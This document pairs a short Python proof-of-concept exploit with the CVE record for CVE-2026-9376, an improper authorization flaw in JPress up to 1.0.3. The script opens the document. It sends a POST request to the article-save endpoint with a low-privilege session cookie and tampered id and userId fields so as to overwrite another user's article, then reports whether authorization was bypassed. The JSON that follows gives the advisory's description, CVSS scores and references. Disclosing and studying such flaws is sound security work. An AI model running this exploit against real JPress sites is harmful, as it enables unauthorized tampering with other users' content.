CVE-2026-9376

import requests # Target URL configuration target_url = "http://target-host/ucenter/article/doWriteSave" # Attacker's low-privilege session cookie cookies = { "JSESSIONID": "attacker_cookie_value" } # Payload data demonstrating parameter tampering # The attacker attempts to modify 'id' or 'userId' to access unauthorized resources payload_data = { "id": "1234", # Target article ID owned by another user "userId": "999", # Target User ID to impersonate "title": "Hacked Title", "content": "Unauthorized content modification." } try: # Sending the malicious POST request response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) # Analyzing response to check if authorization was bypassed if response.status_code == 200 and "success" in response.text: print("[+] Exploit successful! Authorization bypassed.") else: print("[-] Exploit failed or patch applied.") print("Response:", response.text[:200]) except Exception as e: print(f"Error connecting to target: {e}")

{"cve": {"id": "CVE-2026-9376", "sourceIdentifier": "[email protected]", "published": "2026-05-24T11:16:34.480", "lastModified": "2026-05-24T11:16:34.480", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in JPress up to 1.0.3. The affected element is an unknown function of the file /ucenter/article/doWriteSave of the component UCenter Article Submission Endpoint. Executing a manipulation of the argument id/userId can lead to improper authorization. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/JPressProjects/jpress/issues/194", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813253", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365339", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365339/cti", "source": "[email protected]"}]}}